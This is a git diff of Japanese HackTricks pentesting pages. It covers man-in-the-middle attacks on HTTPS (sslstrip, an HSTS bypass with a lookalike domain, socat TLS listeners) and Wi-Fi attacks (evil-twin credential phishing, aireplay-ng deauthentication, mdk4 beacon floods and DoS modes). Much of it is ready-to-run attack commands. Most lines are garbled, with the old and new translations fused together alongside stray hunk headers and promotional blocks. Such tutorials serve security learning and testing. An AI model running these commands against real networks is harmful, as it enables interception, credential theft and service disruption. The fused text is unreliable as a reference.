### HTTP (フェイクページとJSコードの挿入) ### HTTP (フェイクページとJSコードインジェクション)
## インターネット攻撃 ## インターネット攻撃
### sslStrip ### sslStrip
この攻撃が行うことは、**ユーザー**が**HTTP**ページに**アクセス**しようとする場合、そのページが**HTTPS**バージョンに**リダイレクト**される場合に、**sslStrip**が**クライアントと**の間で**HTTP接続を維持**し、**サーバーと**の間で**HTTPS接続を確立**することです。これにより、**sslStrip**は接続を**平文**で**嗅ぎ取る**ことができます。 基本的にこの攻撃は、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合に行われます。**sslStrip**は**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、**平文**で接続を**スニッフィング**することができます。
```bash ```bash
apt-get install sslstrip apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -702,29 +709,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
``` ```
詳細は[こちら](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。 More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### HSTSをバイパスするためのsslStrip+およびdns2proxy ### sslStrip+ と dns2proxy を使用した HSTS のバイパス
**sslStrip+とdns2proxy**と**sslStrip**の**違い**は、例えば_**www.facebook.com**_を_**wwww.facebook.com**_に**リダイレクト**し、このドメインのアドレスを攻撃者のIPに設定する点です。これにより、**クライアント**は_**wwww.facebook.com**_攻撃者に**接続**しますが、裏では**sslstrip+**が**https**を介して**www.facebook.com**と**実際の接続**を**維持**します。 **sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**__**wwww.facebook.com**_ **にリダイレクト** し(**余分な** "**w**" に注意)、このドメインの **アドレスを攻撃者の IP** として設定することです。この方法で、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)** に **接続** しますが、裏では **sslstrip+****www.facebook.com** との **実際の接続****維持** します。
この技術の**目的**は、_**wwww**.facebook.com_がブラウザの**キャッシュ**に保存されないため、ブラウザが**HTTP**で**facebook認証**を実行するように騙すことです。\ この技術の **目的****HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** ブラウザの **キャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\
この攻撃を行うためには、被害者が最初に[http://www.faceook.com](http://www.faceook.com)にアクセスしようとする必要があり、httpsではないことに注意してください。これは、httpページ内のリンクを変更することで行うことができます。 この攻撃を実行するには、被害者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを変更することで行できます。
詳細は[こちら](https://www.bettercap.org/legacy/#hsts-bypass)、[こちら](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014)、および[こちら](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。 More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStripまたはsslStrip+はもはや機能しません。これは、ブラウザに事前保存されたHSTSルールがあるためです。したがって、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPSでアクセスします。また、事前保存されたルールや他の生成されたルールには、**`includeSubdomains`**フラグを使用できることに注意してください。そのため、以前の_**wwww.facebook.com**_の例は機能しなくなります。_**facebook.com**_は`includeSubdomains`を使用してHSTSを使用しているためです。 **sslStrip または sslStrip+ はもう機能しません。これは、ブラウザに事前保存された HSTS ルールがあるため、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS 経由でアクセスされます。また、事前保存されたルールや他の生成されたルールは、** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用できるため、以前の _**wwww.facebook.com**_ の例は、_**facebook.com**_ が `includeSubdomains` で HSTS を使用しているため、もはや機能しません。**
TODO: easy-creds、evilgrade、metasploit、factory TODO: easy-creds, evilgrade, metasploit, factory
## ポートでのTCPリッスン ## TCP ポートでのリッスン
```bash ```bash
sudo nc -l -p 80 sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr - socat TCP4-LISTEN:80,fork,reuseaddr -
``` ```
## TCP + SSL ポートでリッスン ## TCP + SSL ポートでリッスン
#### キーと自己署名証明書の生成 #### キーと自己署名証明書を生成する
``` ```
FILENAME=server FILENAME=server
# Generate a public/private key pair: # Generate a public/private key pair:
@ -734,18 +741,18 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files: # Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
``` ```
#### 証明書を使用して盗聴 #### 証明書を使用してリッスンする
``` ```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
``` ```
#### 証明書を使用してホストにリダイレクトする #### 証明書を使用してリッスンし、ホストにリダイレクトする
``` ```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
``` ```
クライアントがCAが有効であるかどうかをチェックする場合、**CAによって署名された他のホスト名の証明書を提供**することがあります。\ 時々、クライアントがCAが有効であることを確認すると、**CAによって署名された他のホスト名の証明書を提供する**ことができます。\
もう1つの興味深いテストは、リクエストされたホスト名の**セルフ署名証明書を提供**することです。 もう一つの興味深いテストは、**要求されたホスト名の証明書を自己署名で提供する**ことです。
他にテストすることは、有効なCAでない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用して証明書に署名し、ディフィー・ヘルマンなどのアルゴリズムを使用するように強制し、クライアントが実際の秘密鍵で何も復号化する必要がないものを要求するときに、クライアントがこれをチェックしないことを期待して、実際の秘密鍵のプローブ(ハッシュなど)のリクエスト時に偽のプローブを送信することです。 他にテストすることは、有効なCAでない有効な証明書で証明書に署名しようとすることです。または、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し実際の秘密鍵で何も復号化する必要がないもの、クライアントが実際の秘密鍵のプローブハッシュのようなを要求したときに、偽のプローブを送信し、クライアントがこれを確認しないことを期待します。
## Bettercap ## Bettercap
```bash ```bash
@ -779,52 +786,53 @@ UDPパケットが要求されたポートを持たないデバイスに送信
### **ARP discover** ### **ARP discover**
ARPパケットはネットワーク内で使用されているIPアドレスを発見するために使用されます。PCは各可能なIPアドレスに対してリクエストを送信し、使用されているものだけが応答します。 ARPパケットはネットワーク内で使用されているIPを発見するために使用されます。PCは各可能なIPアドレスにリクエストを送信し、使用されているものだけが応答します。
### **mDNSマルチキャストDNS** ### **mDNS (multicast DNS)**
Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエストXミリ秒ごとを送信します。このパケットを見たマシンは通常このリクエストに応答します。その後、"services"に応答するマシンのみを検索します。 Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエストを送信しますX msごと。このパケットを受信したマシンは通常、このリクエストに応答します。その後、「services」に応答するマシンを検索します。
**ツール** **Tools**
* Avahi-browser--all * Avahi-browser (--all)
* Bettercapnet.probe.mdns * Bettercap (net.probe.mdns)
* Responder * Responder
### **NBNSNetBios Name Server** ### **NBNS (NetBios Name Server)**
Bettercapは、名前"CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"を要求するためにポート137/UDPにブロードキャストパケットを送信します。 Bettercapは、名前「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」を要求するパケットをポート137/UDPにブロードキャストします。
### **SSDPSimple Service Discovery Protocol** ### **SSDP (Simple Service Discovery Protocol)**
Bettercapは、すべての種類のサービスを検索するためにSSDPパケットをブロードキャストしますUDPポート1900 Bettercapは、あらゆる種類のサービスを検索するためにSSDPパケットをブロードキャストしますUDPポート1900
### **WSDWeb Service Discovery** ### **WSD (Web Service Discovery)**
Bettercapは、サービスを検索するためにWSDパケットをブロードキャストしますUDPポート3702 Bettercapは、サービスを検索するためにWSDパケットをブロードキャストしますUDPポート3702
## 参考文献 ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
* **Network Security Assessment: Know Your Network第3版** * **Network Security Assessment: Know Your Network (3rd edition)**
* **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** * **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**で**最大$100,000**のバウンティを稼ぎましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加してください! **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Wifiのペンテスト # Pentesting Wifi
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
**HackenProof Discord**サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\ **Hacking Insights**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムハックニュース**\ **Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握してください
**最新の発表**\ **Latest Announcements**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得る 新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう! **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Wifi基本コマンド ## Wifi basic commands
```bash ```bash
ip link show #List available interfaces ip link show #List available interfaces
iwconfig #List available interfaces iwconfig #List available interfaces
@ -52,14 +53,12 @@ git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup ./kali-setup
``` ```
### Airgeddon ### Airgeddon
Airgeddonは、Wi-Fiネットワークのペンテストに使用されるオールインワンのスクリプトです。このツールは、さまざまな攻撃を実行し、WPA/WPA2パスワードをクラックするためのさまざまな方法を提供します。
```bash ```bash
mv `which dhcpd` `which dhcpd`.old mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
``` ```
**Dockerを使用してairgeddonを実行する** **Dockerairgeddonを実行する**
```bash ```bash
docker run \ docker run \
--rm \ --rm \
@ -72,9 +71,11 @@ docker run \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon v1s1t0r1sh3r3/airgeddon
``` ```
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
### wifiphisher ### wifiphisher
Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの資格情報をキャプチャしたりすることができます。 Evil Twin、KARMA、既知ビーコン攻撃を実行し、フィッシングテンプレートを使用してネットワークの本当のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。
```bash ```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory cd wifiphisher # Switch to tool's directory
@ -84,63 +85,63 @@ sudo python setup.py install # Install any dependencies
このツールは**WPS/WEP/WPA-PSK**攻撃を自動化します。自動的に以下を行います: このツールは**WPS/WEP/WPA-PSK**攻撃を自動化します。自動的に以下を行います:
- インターフェースをモニターモードに設定する * インターフェースをモニターモードに設定
- 可能なネットワークをスキャンし、被害者を選択できるようにする * 可能なネットワークをスキャン - 被害者を選択できます
- WEPの場合はWEP攻撃を実行する * WEPの場合 - WEP攻撃を開始
- WPA-PSKの場合 * WPA-PSKの場合
- WPSの場合Pixieダスト攻撃とブルートフォース攻撃(ブルートフォース攻撃は時間がかかる可能性があるため注意が必要です。ヌルPINやデータベース/生成されたPINは試しません * WPSの場合Pixie dust攻撃とブルートフォース攻撃(ブルートフォース攻撃は時間がかかる可能性があるため注意してください。ヌルPINやデータベース/生成されたPINを試みないことに注意してください
- APからPMKIDをキャプチャしてクラックしようとす * APからPMKIDをキャプチャしてクラックを試み
- APのクライアントを切断してハンドシェイクをキャプチャしようとする * APのクライアントを非認証にしてハンドシェイクをキャプチャする
- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる * PMKIDまたはハンドシェイクがあれば、上位5000のパスワードを使用してブルートフォースを試みる
## 攻撃の概要 ## 攻撃の概要
- **DoS** * **DoS**
- Deauthentication/disassociation -- すべての人を切断するまたは特定のESSID/クライアント) * 非認証/非関連付け -- すべての人を切断または特定のESSID/クライアント)
- ランダムな偽のAP -- ネットを隠し、スキャナーをクラッシュさせる可能性がある * ランダムな偽AP -- ネットを隠す、スキャナーをクラッシュさせる可能性
- APを過負荷にする -- APを破壊しようとする(通常あまり役に立たない) * APを過負荷にする -- APを殺そうとする(通常あまり役に立たない)
- WIDS -- IDSと遊ぶ * WIDS -- IDSで遊ぶ
- TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃 * TKIP, EAPOL -- 一部のAPに対する特定のDoS攻撃
- **クラッキング** * **クラック**
- **WEP**をクラックする(複数のツールと方法) * **WEP**をクラック(いくつかのツールと方法)
- **WPA-PSK** * **WPA-PSK**
- **WPS** PIN "Brute-Force" * **WPS** PIN "ブルートフォース"
- **WPA PMKID** ブルートフォース * **WPA PMKID** ブルートフォース
- \[DoS +] **WPAハンドシェイク** キャプチャ + クラック * \[DoS +] **WPAハンドシェイク**キャプチャ + クラック
- **WPA-MGT** * **WPA-MGT**
- **ユーザー名のキャプチャ** * **ユーザー名キャプチャ**
- **Bruteforce** 資格情報 * **ブルートフォース** 認証情報
- **Evil Twin**DoSあり/なし * **イービルツイン**DoSの有無にかかわらず
- **Open** Evil Twin \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ * **オープン** イービルツイン \[+ DoS] -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
- **WPA-PSK** Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立つ * **WPA-PSK** イービルツイン -- パスワードを知っていればネットワーク攻撃に便利
- **WPA-MGT** -- 企業の資格情報をキャプチャするのに役立つ * **WPA-MGT** -- 会社の認証情報をキャプチャするのに便利
- **KARMA, MANA**, **Loud MANA**, **Known beacon** * **KARMA, MANA**, **Loud MANA**, **Known beacon**
- **+ Open** -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ * **+ オープン** -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
- **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立つ * **+ WPA** -- WPAハンドシェイクをキャプチャするのに便利
## DOS ## DOS
### Deauthentication Packets ### 非認証パケット
**ここからの説明**: [**こちら**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** **説明** [**こちらから**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Deauthentication**攻撃は、Wi-Fiハッキングで一般的な方法であり、"管理"フレームを偽造してデバイスをネットワークから**強制的に切断**することを含みます。これらの暗号化されていないパケットは、クライアントを正規のネットワークからのものと信じ込ませ、攻撃者がWPAハンドシェイクを収集してクラックするため、またはネットワーク接続を持続的に妨害するために使用されます。この単純さにもかかわらず、広く使用されており、ネットワークセキュリティに重要な影響を与えています。 **非認証**攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造して**ネットワークからデバイスを強制的に切断**します。これらの暗号化されていないパケットは、クライアントを正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
**Aireplay-ngを使用したDeauthentication** **Aireplay-ngを使用した非認証**
``` ```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
``` ```
* \-0 は切断を意味します * \-0は非認証を意味します
* 1 は送信する切断の数です複数送信することもできます0 は連続して送信します * 1は送信する非認証の数です必要に応じて複数送信できます0は継続的に送信することを意味します
* \-a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです * \-a 00:14:6C:7E:40:80はアクセスポイントのMACアドレスです
* \-c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスですこれを省略するとブロードキャスト切断が送信されます(常に機能するわけではありません) * \-c 00:0F:B5:34:30:30は非認証するクライアントのMACアドレスですこれが省略されると、ブロードキャスト非認証が送信されます(常に機能するわけではありません)
* ath0 はインターフェース名 * ath0はインターフェース名です
### 切断パケット ### 切断パケット
**切断パケット**は、Wi-Fiネットワークで使用される管理フレームの一種であり、切断パケットは、デバイスラップトップやスマートフォンなどとアクセスポイントAPとの接続を切断するために使用されます。切断と切断の主な違いは、使用シナリオにあります。APは、**不正なデバイスをネットワークから明示的に削除するために**切断パケットを送信しますが、APがシャットダウン、再起動、または移動中である場合、すべての接続されたードを切断する必要があるため、通常は切断パケットが送信されます。 **切断パケット**は、非認証パケットと同様に、Wi-Fiネットワークで使用される管理フレームの一種です。これらのパケットは、デバイスラップトップやスマートフォンなどとアクセスポイントAPとの接続を切断するために使用されます。切断と非認証の主な違いは、その使用シナリオにあります。APが**ネットワークから不正なデバイスを明示的に削除するために非認証パケットを発信する一方で、切断パケットは通常、APがシャットダウン、再起動、または移動している際に送信され、すべての接続ードの切断が必要となります。**
**この攻撃はmdk4モード "d")によって実行できます:** **この攻撃はmdk4モード"d")によって実行できます:**
```bash ```bash
# -c <channel> # -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate # -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -151,11 +152,11 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
``` ```
### **mdk4によるさらなるDOS攻撃** ### **mdk4によるさらなるDOS攻撃**
**[こちら](https://en.kali.tools/?p=864)**で。 **ここに** [**あります**](https://en.kali.tools/?p=864)**。**
**攻撃モードb: ビーコンフラッディング** **攻撃モード b: ビーコ flood**
クライアントに偽のAPを表示するためにビーコフレームを送信します。これにより、ネットワークスキャナーさえクラッシュすることがあります! クライアントに偽のAPを表示するためにビーコフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
```bash ```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -163,9 +164,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file # All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m mdk4 wlan0mon b -a -w nta -m
``` ```
**攻撃モードa: 認証サービス拒否** **ATTACK MODE a: 認証サービス拒否**
範囲内のすべてのアクセスポイントAPに認証フレームを送信すると、特に多数のクライアントが関与する場合、これらのAPを過負荷にすることができます。この激しいトラフィックはシステムの不安定さを引き起こし、一部のAPがフリーズしたり、リセットされたりする可能性があります。 範囲内のすべてのアクセスポイントAPに認証フレームを送信することで、特に多数のクライアントが関与している場合、これらのAPを過負荷にすることができます。この激しいトラフィックはシステムの不安定性を引き起こし、一部のAPがフリーズしたり、リセットされたりする原因となります。
```bash ```bash
# -a BSSID send random data from random clients to try the DoS # -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients # -i BSSID capture and repeat pakets from authenticated clients
@ -173,60 +174,60 @@ mdk4 wlan0mon b -a -w nta -m
# only -a or -i can be used # only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
``` ```
**攻撃モード p: SSIDプロービングとブルートフォース** **ATTACK MODE p: SSID Probing and Bruteforcing**
アクセスポイントAPのプロービングは、SSIDが適切に公開されているかをチェックし、APの範囲を確認します。このテクニックは、単語リストを使用してまたは使用せずに**非表示のSSIDをブルートフォース**することで、隠されたネットワークを特定およびアクセスするのに役立ちます。 アクセスポイントAPのプロービングは、SSIDが適切に公開されているかを確認し、APの範囲を確認します。この技術は、**隠されたSSIDのブルートフォース**を単語リストの有無にかかわらず組み合わせることで、隠されたネットワークを特定しアクセスするのに役立ちます。
**攻撃モード m: マイケル対策の悪用** **ATTACK MODE m: Michael Countermeasures Exploitation**
ランダムまたは重複したパケットを異なるQoSキューに送信すると、**TKIP AP**でマイケル対策がトリガーされ、1分間のAPシャットダウンが発生します。この方法は、効果的な**DoS**(サービス拒否)攻撃戦術です。 ランダムまたは重複したパケットを異なるQoSキューに送信することで、**TKIP APs**上でマイケル対策をトリガーし、1分間のAPシャットダウンを引き起こすことがあります。この方法は、効率的な**DoS**(サービス拒否)攻撃戦術です。
```bash ```bash
# -t <BSSID> of a TKIP AP # -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS # -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
``` ```
**攻撃モード e: EAPOL Start および Logoff パケットのインジェクション** **ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
アクセスポイントに **EAPOL Start フレーム** を大量に送信することで **偽のセッション** を作成し、アクセスポイントを圧倒し、正規のクライアントをブロックします。代わりに **偽の EAPOL Logoff メッセージ** をインジェクトすることでクライアントを強制的に切断し、いずれの方法もネットワークサービスを効果的に妨害します。 APに**EAPOL Startフレーム**を洪水させることで**偽のセッション**が作成され、APが圧倒され、正当なクライアントがブロックされます。あるいは、**偽のEAPOL Logoffメッセージ**を注入することでクライアントを強制的に切断し、どちらの方法もネットワークサービスを効果的に妨害します。
```bash ```bash
# Use Logoff messages to kick clients # Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
``` ```
**ATTACK MODE s: IEEE 802.11sメッシュネットワーク向けの攻撃** **ATTACK MODE s: IEEE 802.11s メッシュネットワークに対する攻撃**
